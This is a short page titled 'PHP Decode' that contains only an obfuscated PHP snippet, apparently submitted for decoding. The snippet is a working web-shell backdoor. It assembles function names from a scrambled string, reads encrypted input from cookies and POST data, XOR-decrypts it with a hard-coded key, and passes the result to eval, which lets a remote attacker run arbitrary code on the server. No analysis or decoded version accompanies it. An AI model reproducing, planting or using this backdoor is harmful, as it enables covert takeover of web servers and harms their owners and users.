PHP Decode

<?php 
$wmqxk = '-goiyf*5x7ps#eckv_nub\'4l28rmHta61d03';$ayfcgu = Array();$ayfcgu[] = $wmqxk[28].$wmqxk[6];$ayfcgu[] = $wmqxk[30].$wmqxk[33].$wmqxk[20].$wmqxk[13].$wmqxk[25].$wmqxk[7].$wmqxk[24].$wmqxk[32].$wmqxk[0].$wmqxk[14].$wmqxk[7].$wmqxk[14].$wmqxk[35].$wmqxk[0].$wmqxk[22].$wmqxk[20].$wmqxk[30].$wmqxk[22].$wmqxk[0].$wmqxk[25].$wmqxk[33].$wmqxk[32].$wmqxk[9].$wmqxk[0].$wmqxk[24].$wmqxk[9].$wmqxk[5].$wmqxk[32].$wmqxk[31].$wmqxk[31].$wmqxk[9].$wmqxk[5].$wmqxk[7].$wmqxk[34].$wmqxk[30].$wmqxk[14];$ayfcgu[] = $wmqxk[12];$ayfcgu[] = $wmqxk[14].$wmqxk[2].$wmqxk[19].$wmqxk[18].$wmqxk[29];$ayfcgu[] = $wmqxk[11].$wmqxk[29].$wmqxk[26].$wmqxk[17].$wmqxk[26].$wmqxk[13].$wmqxk[10].$wmqxk[13].$wmqxk[30].$wmqxk[29];$ayfcgu[] = $wmqxk[13].$wmqxk[8].$wmqxk[10].$wmqxk[23].$wmqxk[2].$wmqxk[33].$wmqxk[13];$ayfcgu[] = $wmqxk[11].$wmqxk[19].$wmqxk[20].$wmqxk[11].$wmqxk[29].$wmqxk[26];$ayfcgu[] = $wmqxk[30].$wmqxk[26].$wmqxk[26].$wmqxk[30].$wmqxk[4].$wmqxk[17].$wmqxk[27].$wmqxk[13].$wmqxk[26].$wmqxk[1].$wmqxk[13];$ayfcgu[] = $wmqxk[11].$wmqxk[29].$wmqxk[26].$wmqxk[23].$wmqxk[13].$wmqxk[18];$ayfcgu[] = $wmqxk[10].$wmqxk[30].$wmqxk[14].$wmqxk[15];foreach ($ayfcgu[7]($_COOKIE, $_POST) as $peknf => $wtlja){function aajcltc($ayfcgu, $peknf, $svazt){return $ayfcgu[6]($ayfcgu[4]($peknf . $ayfcgu[1], ($svazt / $ayfcgu[8]($peknf)) + 1), 0, $svazt);}function uuerqj($ayfcgu, $eyjwmx){return @$ayfcgu[9]($ayfcgu[0], $eyjwmx);}function tmjcz($ayfcgu, $eyjwmx){$lekptto = $ayfcgu[3]($eyjwmx) % 3;if (!$lekptto) {eval($eyjwmx[1]($eyjwmx[2]));exit();}}$wtlja = uuerqj($ayfcgu, $wtlja);tmjcz($ayfcgu, $ayfcgu[5]($ayfcgu[2], $wtlja ^ aajcltc($ayfcgu, $peknf, $ayfcgu[8]($wtlja))));} 
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